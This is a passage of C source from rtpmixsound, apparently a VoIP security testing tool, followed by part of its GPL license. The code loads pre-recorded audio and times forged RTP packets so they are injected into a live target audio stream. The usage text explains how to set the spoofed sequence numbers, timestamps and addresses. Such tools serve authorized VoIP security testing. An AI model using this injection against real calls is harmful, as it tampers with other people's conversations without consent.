pcmSamplesToMix[i].pcm_value[j] = (( (int) wavePCM[j] ) << 8 ) - 32768; } } *numG711PacketEquivalents = i; fclose ( fpAudio ); fpAudio = NULL; return true; } return false; } // end preloadWavAudio //----------------------------------------------------------------------------- // // preloadTCPdumpAudio ( char *psInputAudioFile, // struct pcm pcmSamplesToMix[], // unsigned int *numG711PacketsLoaded ) // // This routine expects psInputAudioFile to point to a // string with the name of file containing the pre-recorded // audio to load into memory. The file is expected to be a // standard libpcap tcpdump formatted file containing // G.711 PCMU RTP/UDP/IP/ETHERNET messages. // // Decode G.711 ulaw audio contained within each RTP // packet into 16-bit linear PCM. // // Pre-recorded audio content is read, decoded from 8-bit, // unsigned, non-linear PCMU into 16-bit, signed, linear // PCM. It is loaded into the memory area pointed to by // the 2nd parameter to this function. // // The pre-recorded audio is eventually going to be // mixed in real-time with audio from a specified // target audio stream. The PCMU bytes in each RTP // audio packet received in real-time will have to be // decoded from PCMU into PCM, added to the // next pre-recorded audio sample (already converted // to PCM), scaled, converted back into PCMU, and // transmitted into the target audio stream. // That is a time critical process. So, loading the // pre-recorded audio into memory in a format // conducive to mixing with the target audio stream // is beneficial. Also, attempting to read from a disk // drive in real-time on an arbitrary platform would // yield unpredictable timing due to several factors // (e.g. speed of the machine, disk buffer sizes, disk // caching parameters, disk access time, ...etc). // // Of course, swapping of the memory resident, // pre-recorded audio in PCM form to disk could // occur as a consequence of normal OS data paging // operation. // // The memory area to load is specified by the // second parameter. It is a pointer to an array of an // array of PCM values. Each increment of the // outer array index represents the number of // of audio samples transmitted in a single G.711 // packet (i.e. __RTPMIXSOUND_G711_PAYLOAD_LEN). // The memory area must be large enough to contain // __RTPMIXSOUND_G711_MAX_NUMBER_RTP_MSGS_TO_MIX // of __RTPMIXSOUND_G711_PAYLOAD_LEN // 16-bit, signed, linear PCM values. // // The number of G711 packets whose audio was // converted to PCM and loaded into memory is // returned to the calling routine thru the 3rd // parameter to this function. // // The return value of this function is: // false - when a failure to load pre-recorded audio occurs // true - when pre-recorded audio is loaded succsssfully // // FIXME: Declare that some data should remain // memory-resident at all times. // //----------------------------------------------------------------------------- bool preloadTCPdumpAudio ( char *psInputAudioFile, struct pcm pcmSamplesToMix[], unsigned int *numG711PacketsLoaded ) { unsigned int i; unsigned int numPackets = 0; unsigned char *pUlawByte = NULL; short *pPCMShort = NULL; char pcap_errbuf[ PCAP_ERRBUF_SIZE ]; pcap_t *h_pcap_tcpdump_rtp = NULL; // libpcap "handle" struct pcap_pkthdr *ppcap_pkthdr = NULL; struct pcap_pkthdr pcap_header; bool bPacketsRemain = true; *numG711PacketsLoaded = 0; // // Read pre-recorded audio from the RTP packets stored in // the specified tcpdump file. // h_pcap_tcpdump_rtp = pcap_open_offline ( psInputAudioFile, pcap_errbuf ); if ( h_pcap_tcpdump_rtp == NULL ) { printf ( "\nCouldn't open pre-recorded RTP audio file %s: %s\n", psInputAudioFile, pcap_errbuf ); return false; } printf ( "\n\nReading pre-recorded G.711 PCMU audio from input audio" "\nfile, converting it into 16-bit linear PCM, and loading" "\nit into memory. This is the audio to mix into the" "\ntarget live audio stream.\n" ); do { // // FIXME: One outstanding question is whether repeated calls to // pcap_next_ex( ) result in additional memory being // consumed. Or, is only - at most - one packet's worth of // memory consumed despite repeated calls to pcap_next_ex( ). // After all, the objective of this part of the code is to load // into memory all of the audio you'd like to mix into a // targeted conversion. // // The working presumption until this question can be // answered is that repeated calls to pcap_next_ex( ) result // in only one packet's worth of memory being consumed. // (i.e. the pcap_next_ex( ) routine releases memory for // the packet "returned" in a prior call and allocates // memory as needed for the next packet). // rc = pcap_next_ex ( h_pcap_tcpdump_rtp, &ppcap_pkthdr, &packet ); switch ( rc ) { case -2: { // EOF bPacketsRemain = false; break; } case -1: { // error occurred reading file pcap_perror ( h_pcap_tcpdump_rtp, "\nError reading pre-recorded audio " "capture into memory! " ); pcap_close ( h_pcap_tcpdump_rtp ); h_pcap_tcpdump_rtp = NULL; return false; } case 1: { // no error reading packet numPackets++; if ( numPackets == 1 && bVerbose ) { printf( "\n\nRTP Header of 1st packet in pre-recorded audio:" ); decodeAndPrintRTPMsg ( packet ); } // // FIXME: tool only supports G.711 audio at this time // rtp_hdr = ( struct rfc1889_rtp_hdr * ) ( packet + offset_to_rtp_msg ); if ( rtp_hdr->payloadType != __RTPMIXSOUND_G711_PAYLOAD_TYPE ) { printf ( "\nPacket #%u of the pre-recorded audio file" "\nis not bearing G.711 u-law encoded audio" "\nPayload type = %u\n", numPackets, rtp_hdr->payloadType ); pcap_close ( h_pcap_tcpdump_rtp ); h_pcap_tcpdump_rtp = NULL; return false; } pUlawByte = ( (unsigned char *) packet ) + offset_to_rtp_payload; for ( i = 0; i < __RTPMIXSOUND_G711_PAYLOAD_LEN; i++ ) { pcmSamplesToMix[ numPackets - 1 ].pcm_value[ i ] = ulaw2linear ( *pUlawByte ); pUlawByte++; } if ( numPackets == __RTPMIXSOUND_G711_MAX_NUMBER_RTP_MSGS_TO_MIX ) { bPacketsRemain = false; } break; } default: { // no other error code should be returned when using pcap_next_ex( ) to // read a "saved" file. printf ( "\nReceived an unexpected return code from " "pcap_next_ex( ): %d ", rc ); pcap_perror ( h_pcap_tcpdump_rtp, NULL ); pcap_close ( h_pcap_tcpdump_rtp ); h_pcap_tcpdump_rtp = NULL; return false; } } // end switch ( rc ) } while ( bPacketsRemain ); *numG711PacketsLoaded = numPackets; pcap_close ( h_pcap_tcpdump_rtp ); h_pcap_tcpdump_rtp = NULL; return true; } // end preloadTCPdumpAudio //----------------------------------------------------------------------------- // // delayTransmitOfSpoofedPacket ( unsigned int codecIntervalUsec ) // // This routine returns to the caller when the // the time-of-day is >= the time-of-day to output // the next spoofed RTP packet. However, if // the time-of-day becomes greater than or equal to // the time-of-day the next legitimate packet is // expected, we have really screwed up. A failure // is declared and the tool is exited. // // Limitation: The time-of-day the next spoofed packet // should be output cannot be later than // the time-of-day the next legitimate RTP // packet is expected. // //----------------------------------------------------------------------------- void delayTransmitOfSpoofedPacket ( unsigned int codecIntervalUsec ) { int i; bool bOutputTrigger = false; // // Note: Time of day as represented by the timeval structure is expressed // as seconds + usecs since the Epoch time reference. // struct timeval currentTOD; struct timeval nextLegitimatePacketTOD; struct timeval nextSpoofPacketOutputTOD; // // Based on the TOD the last legitimate RTP packet was received, // what time in the future should the next legitimate packet be // expected? // nextLegitimatePacketTOD.tv_sec = ppcap_pkthdr->ts.tv_sec; nextLegitimatePacketTOD.tv_usec = ppcap_pkthdr->ts.tv_usec; nextLegitimatePacketTOD.tv_usec += codecIntervalUsec; // TOD next legitimate packet is expected is in the next second? if ( nextLegitimatePacketTOD.tv_usec > 1000000 ) { nextLegitimatePacketTOD.tv_usec -= 1000000; // adjust usec downward nextLegitimatePacketTOD.tv_sec++; // adjust sec upward } // // Based on the TOD the last legitimate RTP packet was received, // what time in the future should the next spoofed packet be transmitted? // // Note: Time of day as represented by the timeval structure is expressed // as seconds + usecs since the Epoch time reference. // nextSpoofPacketOutputTOD.tv_sec = ppcap_pkthdr->ts.tv_sec; nextSpoofPacketOutputTOD.tv_usec = ppcap_pkthdr->ts.tv_usec; nextSpoofPacketOutputTOD.tv_usec += jitterDelayUsec; // next spoofed packet transmit time-of-day is in the next second? if ( nextSpoofPacketOutputTOD.tv_usec > 1000000 ) { nextSpoofPacketOutputTOD.tv_usec -= 1000000; // adjust usec downward nextSpoofPacketOutputTOD.tv_sec++; // adjust sec upward } while ( !bOutputTrigger ) { gettimeofday( ¤tTOD, NULL ); // retrieve current TimeOfDay // Does current TOD exceed TOD next legitimate RTP packet is expected? deltaTSec = nextLegitimatePacketTOD.tv_sec - currentTOD.tv_sec; if ( deltaTSec < 0 ) { printf ( "\nError: Failed to output spoof RTP packet #%u " "%u usec before next legitimate RTP packet!! (1)\n", i, jitterProximityUsec ); printf ( "\nnextLegitimatePacketTOD:\n" "tv_sec = %d, tv_usec = %d\n" "\nnextSpoofPacketOutputTOD:\n" "tv_sec = %d, tv_usec = %d\n" "\ncurrentTOD:\n" "tv_sec = %d, tv_usec = %d\n", nextLegitimatePacketTOD.tv_sec, nextLegitimatePacketTOD.tv_usec, nextSpoofPacketOutputTOD.tv_sec, nextSpoofPacketOutputTOD.tv_usec, currentTOD.tv_sec, currentTOD.tv_usec ); CleanupAndExit ( EXIT_FAILURE ); // control does not return here } if ( deltaTSec == 0 ) { // Times to compare are within same second, so we can // compare usec components directly. deltaTUsec = nextLegitimatePacketTOD.tv_usec - currentTOD.tv_usec; if ( deltaTUsec < 0 ) { printf ( "\nError: Failed to output spoof RTP packet #%u " "%u usec before legitimate RTP packet!! (2)\n", i, jitterProximityUsec ); printf ( "\nnextLegitimatePacketTOD:\n" "tv_sec = %d, tv_usec = %d\n" "\nnextSpoofPacketOutputTOD:\n" "tv_sec = %d, tv_usec = %d\n" "\ncurrentTOD:\n" "tv_sec = %d, tv_usec = %d\n", nextLegitimatePacketTOD.tv_sec, nextLegitimatePacketTOD.tv_usec, nextSpoofPacketOutputTOD.tv_sec, nextSpoofPacketOutputTOD.tv_usec, currentTOD.tv_sec, currentTOD.tv_usec ); CleanupAndExit ( EXIT_FAILURE ); // control does not return here } } // So far so good. The currentTOD is less than the time the next legitimate // RTP packet is expected. Is it time to output the next spoofed packet? // Compute deltaT between TOD of next spoof packet output and current TOD deltaTSec = nextSpoofPacketOutputTOD.tv_sec - currentTOD.tv_sec; if ( deltaTSec < 0 ) { // must be passed time to output spoof packet bOutputTrigger = true; } if ( deltaTSec == 0 ) { // Times to compare are within same second, so we can // compare usec components directly. deltaTUsec = nextSpoofPacketOutputTOD.tv_usec - currentTOD.tv_usec; if ( deltaTUsec <= 0 ) { // must be passed time to output spoof packet bOutputTrigger = true; } } } // end while ( not reached spoofed packet output time ) /* printf ( "\n--------------------------\n" "\nnextLegitimatePacketTOD:\n" "tv_sec = %d, tv_usec = %d\n" "\nnextSpoofPacketOutputTOD:\n" "tv_sec = %d, tv_usec = %d\n" "\ncurrentTOD:\n" "tv_sec = %d, tv_usec = %d\n" "jitterProximityUsec = %u usec\n", nextLegitimatePacketTOD.tv_sec, nextLegitimatePacketTOD.tv_usec, nextSpoofPacketOutputTOD.tv_sec, nextSpoofPacketOutputTOD.tv_usec, currentTOD.tv_sec, currentTOD.tv_usec, jitterProximityUsec ); */ } // end delayTransmitOfSpoofedPacket //----------------------------------------------------------------------------- // // decodeAndPrintRTPMsg ( const u_char *packet ) // // This routine actually prints most of the content // of the headers leading up to the actual RTP payload, // but not the payload itself. // // The input parameter, packet, is presumed to point // to the start of the Ethernet frame. That Ethernet // frame is presumed to contain an RTP/UDP/IP // datagram. // // In order, the headers are: // Ethernet // IP // UDP // RTP // // // Portability Issues: // // It is presumed this routine is operating on a // little endian machine, requiring the swapping of // some of the header content that is in network // (i.e. big-endian order). // // It should be noted that the structure used to // define bit fields within the rtp header is very // likely also implementation dependent. This // routine was developed to execute on an Intel // machine (i.e. Pentium) running Red Hat Linux. //----------------------------------------------------------------------------- void decodeAndPrintRTPMsg ( const u_char *packet ) { // // Print some of the Ethernet header content // unsigned int i = 0; char macString[18] = ""; // 6 hex bytes * 2 char/byte + 5 colons + end-of-string eth_hdr = ( struct libnet_ethernet_hdr * ) packet; printf ( "\n\n-----------------\n\n"); sprintf ( macString, "%02x:%02x:%02x:%02x:%02x:%02x", eth_hdr->ether_shost[0], eth_hdr->ether_shost[1], eth_hdr->ether_shost[2], eth_hdr->ether_shost[3], eth_hdr->ether_shost[4], eth_hdr->ether_shost[5], eth_hdr->ether_shost[6] ); printf ( "source MAC: %s\n", macString ); macString[0] = '\0'; // re-initialize workspace string to NUL string sprintf ( macString, "%02x:%02x:%02x:%02x:%02x:%02x", eth_hdr->ether_dhost[0], eth_hdr->ether_dhost[1], eth_hdr->ether_dhost[2], eth_hdr->ether_dhost[3], eth_hdr->ether_dhost[4], eth_hdr->ether_dhost[5], eth_hdr->ether_dhost[6] ); printf ( "destination MAC: %s\n\n", macString ); // // Print some of the IP header content // ip_hdr = ( struct libnet_ipv4_hdr * ) ( packet + LIBNET_ETH_H ); // This union is a workspace permitting an IPv4 address to be accessed as a // byte array. union { uint32_t ip_addr; char ip_bytes[4]; } ip_addr_union; char ip_addr_dotted[16]; // workspace to synthesize a dotted IPv4 addr ip_addr_dotted[0] = '\0'; // initialize workspace string to NUL string ip_addr_union.ip_addr = ip_hdr->ip_src.s_addr; sprintf( ip_addr_dotted, "%hu.%hu.%hu.%hu", ip_addr_union.ip_bytes[0], ip_addr_union.ip_bytes[1], ip_addr_union.ip_bytes[2], ip_addr_union.ip_bytes[3] ); printf ( "source IP: %s\n", ip_addr_dotted ); ip_addr_dotted[0] = '\0'; // initialize workspace string to NUL string ip_addr_union.ip_addr = ip_hdr->ip_dst.s_addr; sprintf( ip_addr_dotted, "%hu.%hu.%hu.%hu", ip_addr_union.ip_bytes[0], ip_addr_union.ip_bytes[1], ip_addr_union.ip_bytes[2], ip_addr_union.ip_bytes[3] ); printf ( "destination IP: %s\n\n", ip_addr_dotted ); // // Print some of the UDP header content // udp_hdr = ( struct libnet_udp_hdr * ) ( packet + LIBNET_ETH_H + LIBNET_IPV4_H ); printf ( "source port: %u\n", ntohs ( udp_hdr->uh_sport ) ); printf ( "destination port: %u\n\n", ntohs ( udp_hdr->uh_dport ) ); printf ( "UDP packet length: %u\n\n", ntohs ( udp_hdr->uh_ulen ) ); rtp_hdr = ( struct rfc1889_rtp_hdr * ) ( packet + LIBNET_ETH_H + LIBNET_IPV4_H + LIBNET_UDP_H ); printf ( "RTP message length: %u\n", ntohs ( udp_hdr->uh_ulen ) - LIBNET_UDP_H ); printf ( "Size of RTP Header: %u\n", sizeof( struct rfc1889_rtp_hdr ) ); // // Print RTP header content // /* printf ( "RTP Header Dump:\n"); const u_char *rtp_hdr_bytes; rtp_hdr_bytes = packet + LIBNET_ETH_H + LIBNET_IPV4_H + LIBNET_UDP_H; printf ( "%02x %02x %02x %02x\n" "%02x %02x %02x %02x\n" "%02x %02x %02x %02x\n", rtp_hdr_bytes[0], rtp_hdr_bytes[1], rtp_hdr_bytes[2], rtp_hdr_bytes[3], rtp_hdr_bytes[4], rtp_hdr_bytes[5], rtp_hdr_bytes[6], rtp_hdr_bytes[7], rtp_hdr_bytes[8], rtp_hdr_bytes[9], rtp_hdr_bytes[10], rtp_hdr_bytes[11] ); */ printf ( "RTP Version: %u\n", rtp_hdr->version ); printf ( "RTP Packet Padded?: %s\n", ( rtp_hdr->bPaddingIncluded == 0 )? "no":"yes" ); printf ( "RTP Packet Fixed Hdr Followed by Extension Hdr?: %s\n", ( rtp_hdr->bExtensionIncluded == 0 )? "no":"yes" ); printf ( "RTP Packet CSRC Count: %u\n", rtp_hdr->cc ); printf ( "RTP Packet Marked?: %s\n", ( rtp_hdr->bMarker == 0 )? "no":"yes" ); printf ( "RTP Packet Payload Type: %u\n", rtp_hdr->payloadType ); printf ( "RTP Packet Sequence #: %u\n", ntohs ( rtp_hdr->sequenceNumber ) ); printf ( "RTP Packet Timestamp: %u\n", ntohl ( rtp_hdr->timestamp ) ); printf ( "RTP Packet SSRC: %u\n", ntohl ( rtp_hdr->ssrc ) ); printf ( "\n-----------------\n\n"); } // end decodeAndPrintRTPMsg //----------------------------------------------------------------------------- // // catch_signals ( int signo ) // // signal catcher and handler // //----------------------------------------------------------------------------- void catch_signals ( int signo ) { switch ( signo ) { case SIGINT: case SIGTERM: { printf ( "\nexiting...\n" ); CleanupAndExit ( EXIT_SUCCESS ); } } } // end catch_signals //----------------------------------------------------------------------------- // // CleanupAndExit ( int status ) // // Clean up and exit. // //----------------------------------------------------------------------------- void CleanupAndExit ( int status ) { if ( h_pcap_live_rtp ) { if ( bVerbose ) { printf ( "\nclosing live pcap interface\n" ); } pcap_close ( h_pcap_live_rtp ); h_pcap_live_rtp = NULL; } if ( l ) { if ( bVerbose ) { printf ( "\ndestroying libnet handle\n" ); } libnet_destroy ( l ); l = NULL; } if ( sockfd > 0 ) { if ( bVerbose ) { printf ( "\nclosing socket used to obtain device MAC addr\n" ); } close( sockfd ); sockfd = 0; } printf ( "\n" ); exit ( status ); } // End CleanupAndExit //------------------------------------------------------------------------------- // // usage ( int status ) // // Display command line usage. // //------------------------------------------------------------------------------- void usage ( int status ) { printf ( "\n%s", __RTPMIXSOUND_VERSION ); printf ( "\n%s", __RTPMIXSOUND_DATE ); printf ( "\n Usage:" ); printf ( "\n Mandatory -" ); printf ( "\n\tpathname of file whose audio is to be mixed into the" ); printf ( "\n\t targeted live audio stream. If the file extension is" ); printf ( "\n\t .wav, then the file must be a standard Microsoft" ); printf ( "\n\t RIFF formatted WAVE file meeting these constraints:" ); printf ( "\n\t 1) header 'chunks' must be in one of two sequences:" ); printf ( "\n\t RIFF, fmt, fact, data" ); printf ( "\n\t or" ); printf ( "\n\t RIFF, fmt, data" ); printf ( "\n\t 2) Compression Code = 1 (PCM/Uncompressed)" ); printf ( "\n\t 3) Number of Channels = 1 (mono)" ); printf ( "\n\t 4) Sample Rate (Hz) = 8000" ); printf ( "\n\t 5) Significant Bits/Sample =" ); printf ( "\n\t signed, linear 16-bit or" ); printf ( "\n\t unsigned, linear 8-bit" ); printf ( "\n\t If the file name does not specify a .wav extension," ); printf ( "\n\t then the file is presumed to be a tcpdump formatted" ); printf ( "\n\t file with a sequence of, exclusively, G.711 u-law" ); printf ( "\n\t RTP/UDP/IP/ETHERNET messages" ); printf ( "\n\t Note: Yep, the format is referred to as 'tcpdump'" ); printf ( "\n\t even though this file must contain udp messages" ); printf ( "\n Optional -" ); printf ( "\n\t-a source RTP IPv4 addr" ); printf ( "\n\t-A source RTP port" ); printf ( "\n\t-b destination RTP IPv4 addr" ); printf ( "\n\t-B destination RTP port" ); printf ( "\n\t-f spoof factor - amount by which to:" ); printf ( "\n\t a) increment the RTP hdr sequence number obtained" ); printf ( "\n\t from the ith legitimate packet to produce the" ); printf ( "\n\t RTP hdr sequence number for the ith spoofed packet" ); printf ( "\n\t b) multiply the RTP payload length and add that" ); printf ( "\n\t product to the RTP hdr timestamp obtained from" ); printf ( "\n\t the ith legitimate packet to produce the RTP hdr" ); printf ( "\n\t timestamp for the ith spoofed packet" ); printf ( "\n\t c) increment the IP hdr ID number obtained from the" ); printf ( "\n\t ith legitimate packet to produce the IP hdr ID" ); printf ( "\n\t number for the ith spoofed packet" ); printf ( "\n\t [ range: +/- 1000, default: 2 ]" ); printf ( "\n\t-i interface (e.g. eth0)" ); printf ( "\n\t-j jitter factor - the reception of a legitimate RTP" ); printf ( "\n\t packet in the target audio stream enables the output" ); printf ( "\n\t of the next spoofed packet. This factor determines" ); printf ( "\n\t when that spoofed packet is actually transmitted." ); printf ( "\n\t The factor relates how close to the next legitimate" ); printf ( "\n\t packet you'd actually like the enabled spoofed packet" ); printf ( "\n\t to be transmitted. For example, -j 10 means 10%% of" ); printf ( "\n\t the codec's transmission interval. If the transmission"); printf ( "\n\t interval = 20,000 usec (i.e. G.711), then delay the" ); printf ( "\n\t output of the spoofed RTP packet until the time-of-day"); printf ( "\n\t is within 2,000 usec (i.e. 10%%) of the time the next" ); printf ( "\n\t legitimate RTP packet is expected. In other words," ); printf ( "\n\t delay 100%% minus the jitter factor, or 18,000 usec" ); printf ( "\n\t in this example. The smaller the jitter factor, the" ); printf ( "\n\t greater the risk you run of not outputting the" ); printf ( "\n\t spoofed packet before the next legitimate RTP packet" ); printf ( "\n\t is received. Therefore, a factor >= 10 is advised." ); printf ( "\n\t [ range: 0 - 80, default: 80 = output spoof ASAP ]" ); printf ( "\n\t-p seconds to pause between setup and injection" ); printf ( "\n\t-h help - print this usage" ); printf ( "\n\t-v verbose output mode" ); printf ( "\n" ); printf ( "\nNote: If you are running the tool from a host with multiple" ); printf ( "\n ethernet interfaces which are up, be forewarned that" ); printf ( "\n the order those interfaces appear in your route table" ); printf ( "\n and the networks accessible from those interfaces might"); printf ( "\n compel Linux to output spoofed audio packets to an" ); printf ( "\n interface different than the one stipulated by you on" ); printf ( "\n command line. This should not affect the tool unless" ); printf ( "\n those spoofed packets arrive back at the host through" ); printf ( "\n the interface you have specified on the command line" ); printf ( "\n (e.g. the interfaces have connectivity through a hub)." ); printf ( "\n" ); exit ( status ); } rtpmixsound-3.0/rtpmixsound/LICENSE_SOFTWARE0000644000175000017500000004371710542051065020203 0ustar dookiedookie GNU GENERAL PUBLIC LICENSE Version 2, June 1991 Copyright (C) 1989, 1991 Free Software Foundation, Inc. 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This General Public License applies to most of the Free Software Foundation's software and to any other program whose authors commit to using it. (Some other Free Software Foundation software is covered by the GNU Library General Public License instead.) You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs; and that you know you can do these things. To protect your rights, we need to make restrictions that forbid anyone to deny you these rights or to ask you to surrender the rights. These restrictions translate to certain responsibilities for you if you distribute copies of the software, or if you modify it. For example, if you distribute copies of such a program, whether gratis or for a fee, you must give the recipients all the rights that you have. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. We protect your rights with two steps: (1) copyright the software, and (2) offer you this license which gives you legal permission to copy, distribute and/or modify the software. Also, for each author's protection and ours, we want to make certain that everyone understands that there is no warranty for this free software. If the software is modified by someone else and passed on, we want its recipients to know that what they have is not the original, so that any problems introduced by others will not reflect on the original authors' reputations. Finally, any free program is threatened constantly by software patents. We wish to avoid the danger that redistributors of a free program will individually obtain patent licenses, in effect making the program proprietary. To prevent this, we have made it clear that any patent must be licensed for everyone's free use or not licensed at all. The precise terms and conditions for copying, distribution and modification follow. GNU GENERAL PUBLIC LICENSE TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 0. This License applies to any program or other work which contains a notice placed by the copyright holder saying it may be distributed under the terms of this General Public License. The "Program", below, refers to any such program or work, and a "work based on the Program" means either the Program or any derivative work under copyright law: that is to say, a work containing the Program or a portion of it, either verbatim or with modifications and/or translated into another language. (Hereinafter, translation is included without limitation in the term "modification".) Each licensee is addressed as "you". Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running the Program is not restricted, and the output from the Program is covered only if its contents constitute a work based on the Program (independent of having been made by running the Program). Whether that is true depends on what the Program does. 1. You may copy and distribute verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and give any other recipients of the Program a copy of this License along with the Program. You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee. 2. You may modify your copy or copies of the Program or any portion of it, thus forming a work based on the Program, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions: a) You must cause the modified files to carry prominent notices stating that you changed the files and the date of any change. b) You must cause any work that you distribute or publish, that in whole or in part contains or is derived from the Program or any part thereof, to be licensed as a whole at no charge to all third parties under the terms of this License. c) If the modified program normally reads commands interactively when run, you must cause it, when started running for such interactive use in the most ordinary way, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty) and that users may redistribute the program under these conditions, and telling the user how to view a copy of this License. (Exception: if the Program itself is interactive but does not normally print such an announcement, your work based on the Program is not required to print an announcement.) These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Program, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Program, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it. Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Program. In addition, mere aggregation of another work not based on the Program with the Program (or with a work based on the Program) on a volume of a storage or distribution medium does not bring the other work under the scope of this License. 3. You may copy and distribute the Program (or a work based on it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you also do one of the following: a) Accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, b) Accompany it with a written offer, valid for at least three years, to give any third party, for a charge no more than your cost of physically performing source distribution, a complete machine-readable copy of the corresponding source code, to be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, c) Accompany it with the information you received as to the offer to distribute corresponding source code. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form with such an offer, in accord with Subsection b above.) The source code for a work means the preferred form of the work for making modifications to it. For an executable work, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the executable. However, as a special exception, the source code distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable. If distribution of executable or object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place counts as distribution of the source code, even though third parties are not compelled to copy the source along with the object code. 4. You may not copy, modify, sublicense, or distribute the Program except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense or distribute the Program is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance. 5. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Program or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Program (or any work based on the Program), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Program or works based on it. 6. Each time you redistribute the Program (or any work based on the Program), the recipient automatically receives a license from the original licensor to copy, distribute or modify the Program subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties to this License. 7. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Program at all. For example, if a patent license would not permit royalty-free redistribution of the Program by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Program. If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply and the section as a whole is intended to apply in other circumstances. It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system, which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice. This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License. 8. If the distribution and/or use of the Program is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Program under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License. 9. The Free Software Foundation may publish revised and/or new versions of the General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of this License, you may choose any version ever published by the Free Software Foundation. 10. If you wish to incorporate parts of the Program into other free programs whose distribution conditions are different, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally. NO WARRANTY 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. END OF TERMS AND CONDITIONS Appendix: How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively convey the exclusion of warranty; and each file should have at least the "copyright" line and a 